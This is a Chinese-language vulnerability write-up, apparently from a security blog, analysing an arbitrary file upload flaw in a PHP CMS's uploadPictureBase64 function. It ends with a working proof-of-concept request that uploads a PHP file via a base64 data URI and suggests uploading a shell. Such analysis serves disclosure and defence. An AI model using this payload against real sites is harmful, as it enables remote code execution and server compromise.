PHP…

0x01

任意文件上传

漏洞分析

漏洞出现在/Application/Core/FileController.class.php的uploadPictureBase64函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public function uploadPictureBase64()
{

$aData = $_POST['data'];

if ($aData == '' || $aData == 'undefined') {
$this->ajaxReturn(array('status'=>0,'info'=>'参数错误'));
}

if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $aData, $result)) {
$base64_body = substr(strstr($aData, ','), 1);

empty($aExt) && $aExt = $result[2];
} else {
$base64_body = $aData;
}

empty($aExt) && $aExt = 'jpg';

$pictureModel = D('Picture');

$md5 = md5($base64_body);
$sha1 = sha1($base64_body);


$check = $pictureModel->where(array('md5' => $md5, 'sha1' => $sha1))->find();

if ($check) {
//已存在则直接返回信息
$return['id'] = $check['id'];
$return['path'] = render_picture_path($check['path']);
$this->ajaxReturn(array('status'=>1,'id'=>$return['id'],'path'=> $return['path']));
} else {
//不存在则上传并返回信息
$driver = modC('PICTURE_UPLOAD_DRIVER','local','config');
$driver = check_driver_is_exist($driver);
$date = date('Y-m-d');
$saveName = uniqid();
$savePath = '/Uploads/Picture/' . $date . '/';

$path = $savePath . $saveName . '.' . $aExt;
if($driver == 'local'){
//本地上传
mkdir('.' . $savePath, 0777, true);
$data = base64_decode($base64_body);
$rs = file_put_contents('.' . $path, $data);
}
else{
$rs = false;
//使用云存储
$name = get_addon_class($driver);
if (class_exists($name)) {
$class = new $name();
if (method_exists($class, 'uploadBase64')) {
$path = $class->uploadBase64($base64_body,$path);
$rs = true;
}
}
}
if ($rs) {
$pic['type'] = $driver;
$pic['path'] = $path;
$pic['md5'] = $md5;
$pic['sha1'] = $sha1;
$pic['status'] = 1;
$pic['create_time'] = time();
$id = $pictureModel->add($pic);
$this->ajaxReturn (array('status'=>1,'id' => $id, 'path' => render_picture_path($path)));
} else {
$this->ajaxReturn(array('status'=>0,'图片上传失败。'));
}

}
}

从这上面可以看出这是一个上传图片的函数
看到文件写入的这一段

1
2
3
mkdir('.' . $savePath, 0777, true);
$data = base64_decode($base64_body);
$rs = file_put_contents('.' . $path, $data);

写入文件的数据是\$base64_body经过base64解码之后而来的,但是就算控制了数据进入,可是没法解析php也是没用的,接着看文件路径\$path的定义

1
$path = $savePath . $saveName . '.' . $aExt;

发现是通过拼接而成的,继续跟踪\$aExt变量

1
2
3
4
5
6
7
8
9
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $aData, $result)) {
$base64_body = substr(strstr($aData, ','), 1);

empty($aExt) && $aExt = $result[2];
} else {
$base64_body = $aData;
}

empty($aExt) && $aExt = 'jpg';

这里发现\$aExt和\$base64_body都在这里定义,如果\$aData可控的话,\$aExt和\$base64可以被设置成我们想要的数据,继续跟踪$aData变量

1
$aData = $_POST['data'];

可以看到是直接通过POST提交的,并且没有做任何过滤处理,这样文件数据和文件后缀都能被控制了,可还有一个问题,文件的路径不知道,此时看到函数的尾部

1
$this->ajaxReturn (array('status'=>1,'id' => $id, 'path' => render_picture_path($path)));

这里恰好会把文件的路径返回,这样就造成了一个任意文件上传的漏洞


0x02

漏洞利用

payload:

1
2
3
GET:index.php?s=/core/file/uploadPictureBase64.html
POST:data=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
//PD9waHAgcGhwaW5mbygpOz8+是<?php phpinfo();?>的base64编码结果

执行结果

访问文件路径

当然我们可以上传一个shell上去…


(ง •_•)ง